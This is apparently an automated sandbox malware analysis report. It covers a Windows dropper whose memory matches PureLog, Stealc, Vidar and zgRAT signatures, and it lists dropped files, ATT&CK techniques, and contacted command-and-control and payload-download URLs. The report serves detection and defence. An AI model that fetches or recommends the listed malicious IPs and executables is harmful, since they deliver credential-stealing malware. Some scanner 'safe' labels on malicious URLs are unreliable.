Yara detected PureLog Stealer

Source: Yara match	File source: 12.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f25170000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f25170000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f3dd70000.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f3dd70000.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f1fcb47a3.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f1fcc4dad.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f22fdd525.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f23028739.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f1fca537d.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f2300432f.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.4105805682.0000028F25170000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000000.1987937645.0000028F1FC1B000.00000002.00000001.01000000.00000011.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000001.00000002.2121225212.00000000041F2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: u5e0.0.exe PID: 7156, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match	File source: 1.2.u5e0.0.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.u5e0.0.exe.5bb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.u5e0.0.exe.43c0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.u5e0.0.exe.43c0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.u5e0.0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.u5e0.0.exe.5bb0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2121389961.00000000043C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1697193284.0000000005BB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: u5e0.0.exe PID: 7156, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match	File source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f1fcb47a3.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f1fcc4dad.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f22fdd525.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f23028739.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f1fca537d.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f2300432f.6.raw.unpack, type: UNPACKEDPE

Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C180C40 sqlite3_bind_zeroblob,	1_2_6C180C40
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C180D60 sqlite3_bind_parameter_name,	1_2_6C180D60
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C0A8EA0 sqlite3_clear_bindings,	1_2_6C0A8EA0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	331 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	13 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	13 Native API	1 Windows Service	1 Windows Service	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	112 Process Injection	2 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Scheduled Task/Job	3 Software Packing	NTDS	288 System Information Discovery	Distributed Component Object Model	1 Email Collection	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	541 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	351 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	351 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	112 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
H6ohQMZygb.exe	47%	ReversingLabs	Win32.Trojan.Operaloader
H6ohQMZygb.exe	38%	Virustotal		Browse
H6ohQMZygb.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\u5e0.0.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	Virustotal		Browse
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	Virustotal		Browse
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	Virustotal		Browse
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\u5e0.0.exe	37%	ReversingLabs	Win32.Packed.Generic
C:\Users\user\AppData\Local\Temp\u5e0.2\UIxMarketPlugin.dll	18%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\u5e0.2\relay.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\u5e0.3.exe	4%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
note.padd.cn.com	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://www.indyproject.org/	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
https://sectigo.com/CPS0D	0%	URL Reputation	safe
185.172.128.76/3cd2b41cbde8fc9c.php	0%	Avira URL Cloud	safe
http://185.172.128.76/3cd2b41cbde8fc9c.phpph	0%	Avira URL Cloud	safe
http://185.172.128.76/3cd2b41cbde8fc9c.php	0%	Avira URL Cloud	safe
http://185.172.128.228/BroomSetup.exe	0%	Avira URL Cloud	safe
http://microsoft.co;	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/mozglue.dll8	0%	Avira URL Cloud	safe
http://185.172.128.76/3cd2b41cbde8fc9c.phpZ3	0%	Avira URL Cloud	safe
http://185.172.128.228/BroomSetup.exe	23%	Virustotal		Browse
185.172.128.76/3cd2b41cbde8fc9c.php	12%	Virustotal		Browse
http://185.172.128.76/3cd2b41cbde8fc9c.phpc5e2e12a748a569c5bd7a63a7e028release	0%	Avira URL Cloud	safe
http://185.172.128.76/3cd2b41cbde8fc9c.php	12%	Virustotal		Browse
https://webhooklistenersfunc.azurewebsites.net/api/lookup/constella-dark-web-alerts	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/sqlite3.dll	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/mozglue.dllT	0%	Avira URL Cloud	safe
http://185.172.128.76/3cd2b41cbde8fc9c.phpB3	0%	Avira URL Cloud	safe
https://webhooklistenersfunc.azurewebsites.net/api/lookup/constella-dark-web-alerts	0%	Virustotal		Browse
http://185.172.128.76/3cd2b41cbde8fc9c.pM	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/freebl3.dllZ	0%	Avira URL Cloud	safe
http://185.172.128.76/3cd2b41cbde8fc9c.php:3	0%	Avira URL Cloud	safe
http://185.172.128.76/3cd2b41cbde8fc9c.php22	0%	Avira URL Cloud	safe
http://download.iolo.net/ds/4/en/images/dsUSB.imaRealDefense	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/sqlite3.dll	0%	Virustotal		Browse
http://185.172.128.76/15f649199f40275b/softokn3.dll	0%	Avira URL Cloud	safe
https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe.	0%	Avira URL Cloud	safe
http://dejavu.sourceforge.nethttp://dejavu.sourceforge.netFonts	0%	Avira URL Cloud	safe
http://download.iolo.net/ds/4/en/images/dsUSB.imaRealDefense	0%	Virustotal		Browse
https://iolo.comH42652B74-0AD8-4B60-B8FD-69ED38F7666B	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/softokn3.dll	0%	Virustotal		Browse
http://185.172.128.59/syncUpd.exe	100%	Avira URL Cloud	malware
https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe	0%	Avira URL Cloud	safe
https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe.6-	0%	Avira URL Cloud	safe
http://185.172.128.76	0%	Avira URL Cloud	safe
http://185.172.128.76/3cd2b41cbde8fc9c.p	0%	Avira URL Cloud	safe
http://185.172.128.76/3cd2b41cbde8fc9c.php~3	0%	Avira URL Cloud	safe
http://185.172.128.76/3cd2b41cbde8fc9c.phpB	0%	Avira URL Cloud	safe
http://185.172.128.59/syncUpd.exe	23%	Virustotal		Browse
https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe	1%	Virustotal		Browse
http://185.172.128.76	8%	Virustotal		Browse
https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe.	0%	Virustotal		Browse
http://185.172.128.76/3cd2b41cbde8fc9c.p	3%	Virustotal		Browse
http://185.172.128.76/3cd2b41cbde8fc9c.phpF	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/nss3.dll	0%	Avira URL Cloud	safe
http://185.172.128.76/3cd2b41cbde8fc9c.phpts	0%	Avira URL Cloud	safe
http://185.172.128.90/cpa/ping.php?substr=five&s=ab&sub=0	100%	Avira URL Cloud	malware
http://185.172.128.76/15f649199f40275b/mozglue.dll	0%	Avira URL Cloud	safe
http://185.172.128.76/3cd2b41cbde8fc9c.php4	0%	Avira URL Cloud	safe
http://185.172.128.76/3cd2b41cbde8fc9c.phpF	3%	Virustotal		Browse
http://185.172.128.76/15f649199f40275b/nss3.dll	0%	Virustotal		Browse
http://185.172.128.76/15f649199f40275b/msvcp140.dll	0%	Avira URL Cloud	safe
http://185.172.128.90/cpa/ping.php?substr=five&s=ab&sub=0	21%	Virustotal		Browse
http://185.172.128.76/15f649199f40275b/mozglue.dll	0%	Virustotal		Browse
http://185.172.128.76/3cd2b41cbde8fc9c.phpB	3%	Virustotal		Browse
http://185.172.128.76/3cd2b41cbde8fc9c.php4	2%	Virustotal		Browse
http://185.172.128.76/15f649199f40275b/msvcp140.dll	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
note.padd.cn.com	176.97.76.106	true	false	1%, Virustotal, Browse	unknown
svc.iolo.com	20.157.87.45	true	false		high
westus2-2.in.applicationinsights.azure.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.172.128.228/BroomSetup.exe	false	23%, Virustotal, Browse Avira URL Cloud: safe	unknown
185.172.128.76/3cd2b41cbde8fc9c.php	true	12%, Virustotal, Browse Avira URL Cloud: safe	low
http://185.172.128.76/3cd2b41cbde8fc9c.php	true	12%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.76/15f649199f40275b/sqlite3.dll	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.76/15f649199f40275b/softokn3.dll	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.59/syncUpd.exe	false	23%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.172.128.76/15f649199f40275b/nss3.dll	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.90/cpa/ping.php?substr=five&s=ab&sub=0	true	21%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.172.128.76/15f649199f40275b/mozglue.dll	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.76/15f649199f40275b/msvcp140.dll	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://svc.iolo.com/__svc/sbv/DownloadManager.ashx	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	u5e0.0.exe, 00000001.00000003.1760085529.0000000004296000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	u5e0.0.exe, 00000001.00000003.1760085529.0000000004296000.00000004.00000020.00020000.00000000.sdmp	false		high
https://monitor.azure.com//.default	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4146995389.0000028F3E070000.00000004.08000000.00040000.00000000.sdmp	false		high
http://185.172.128.76/3cd2b41cbde8fc9c.phpph	u5e0.0.exe, 00000001.00000002.2162175717.000000002A805000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://snapshot.monitor.azure.com/&	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4146995389.0000028F3E070000.00000004.08000000.00040000.00000000.sdmp	false		high
http://svc.iolo.com/__svc/sbv/DownloadManager.ashx.	WSComm.log.4.dr	false		high
https://scripts.sil.org/OFLhttps://indiantypefoundry.comNinad	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4147857342.0000028F3E1D0000.00000004.08000000.00040000.00000000.sdmp	false		high
https://www.iolo.com/company/legal/sales-policy/	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F251C1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.indyproject.org/	H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005A00000.00000004.00000020.00020000.00000000.sdmp, u5e0.3.exe, 00000004.00000003.2051507864.00000000026D2000.00000004.00001000.00020000.00000000.sdmp, u5e0.3.exe, 00000004.00000000.1824422172.000000000041C000.00000020.00000001.01000000.0000000A.sdmp	false	URL Reputation: safe	unknown
http://microsoft.co;	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4157814355.0000028F42208000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://support.iolo.com/support/solutions/articles/44001781185?	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4147857342.0000028F3E1D0000.00000004.08000000.00040000.00000000.sdmp	false		high
https://www.iolo.com/company/legal/privacy/?	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4147857342.0000028F3E1D0000.00000004.08000000.00040000.00000000.sdmp	false		high
http://185.172.128.76/15f649199f40275b/mozglue.dll8	u5e0.0.exe, 00000001.00000002.2121225212.0000000004242000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.172.128.76/3cd2b41cbde8fc9c.phpZ3	u5e0.0.exe, 00000001.00000002.2121225212.0000000004227000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.codeplex.com/CompositeWPF	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4137623538.0000028F3DA90000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F251C1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.iolo.com/support/solutions/articles/44001781185	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F251C1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://scripts.sil.org/OFL	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4100814362.0000028F235D5000.00000004.00000020.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4163654716.0000028F42692000.00000004.00000800.00020000.00000000.sdmp	false		high
https://taskscheduler.codeplex.com/H	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp	false		high
http://185.172.128.76/3cd2b41cbde8fc9c.phpc5e2e12a748a569c5bd7a63a7e028release	u5e0.0.exe, 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmp	false	Avira URL Cloud: safe	unknown
https://www.iolo.com/company/legal/sales-policy/?	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4147857342.0000028F3E1D0000.00000004.08000000.00040000.00000000.sdmp	false		high
https://scripts.sil.org/OFLX8	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4163654716.0000028F42692000.00000004.00000800.00020000.00000000.sdmp	false		high
https://westus2-2.in.applicationinsights.azure.com	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F25641000.00000004.00000800.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F255E3000.00000004.00000800.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F253EE000.00000004.00000800.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F2591F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://webhooklistenersfunc.azurewebsites.net/api/lookup/constella-dark-web-alerts	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F251C1000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.76/15f649199f40275b/mozglue.dllT	u5e0.0.exe, 00000001.00000002.2121225212.0000000004242000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F253EE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://indiantypefoundry.com	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4163654716.0000028F42692000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.172.128.76/3cd2b41cbde8fc9c.phpB3	u5e0.0.exe, 00000001.00000002.2121225212.0000000004227000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://download.avira.com/download/	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F251C1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.172.128.76/3cd2b41cbde8fc9c.pM	u5e0.0.exe, 00000001.00000002.2162175717.000000002A805000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.codeplex.com/prism#Microsoft.Practices.Prism.ViewModel	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4137623538.0000028F3DA90000.00000004.08000000.00040000.00000000.sdmp	false		high
http://dejavu.sourceforge.net	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp	false		high
http://185.172.128.76/15f649199f40275b/freebl3.dllZ	u5e0.0.exe, 00000001.00000002.2121225212.0000000004242000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	u5e0.0.exe, u5e0.0.exe, 00000001.00000002.2165760068.000000006C00D000.00000002.00000001.01000000.00000010.sdmp, mozglue.dll.1.dr	false		high
http://185.172.128.76/3cd2b41cbde8fc9c.php:3	u5e0.0.exe, 00000001.00000002.2121225212.0000000004227000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.iolo.com/company/legal/privacy/	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F251C1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mozilla.org0/	nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr	false	URL Reputation: safe	unknown
http://185.172.128.76/3cd2b41cbde8fc9c.php22	u5e0.0.exe, 00000001.00000002.2121225212.0000000004227000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://download.iolo.net/ds/4/en/images/dsUSB.imaRealDefense	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F251C1000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	u5e0.0.exe, 00000001.00000003.1760085529.0000000004296000.00000004.00000020.00020000.00000000.sdmp	false		high
https://rt.services.visualstudio.com/l	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4146995389.0000028F3E070000.00000004.08000000.00040000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	u5e0.0.exe, 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp, u5e0.0.exe, 00000001.00000003.1756244413.000000002470D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://gdlp01.c-wss.com/rmds/ic/universalinstaller/common/checkconnection	run.exe, run.exe, 00000002.00000000.1770456148.000000000119C000.00000002.00000001.01000000.00000008.sdmp, run.exe, 00000002.00000002.1772861896.000000000119C000.00000002.00000001.01000000.00000008.sdmp, run.exe.0.dr	false		high
https://dc.services.visualstudio.com/	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F253EE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe.	ioloDMLog.txt.4.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	u5e0.0.exe, 00000001.00000003.1760085529.0000000004296000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	u5e0.0.exe, 00000001.00000003.1931968008.000000002AA6B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://dejavu.sourceforge.nethttp://dejavu.sourceforge.netFonts	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp	false	Avira URL Cloud: safe	unknown
https://iolo.comH42652B74-0AD8-4B60-B8FD-69ED38F7666B	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F251C1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
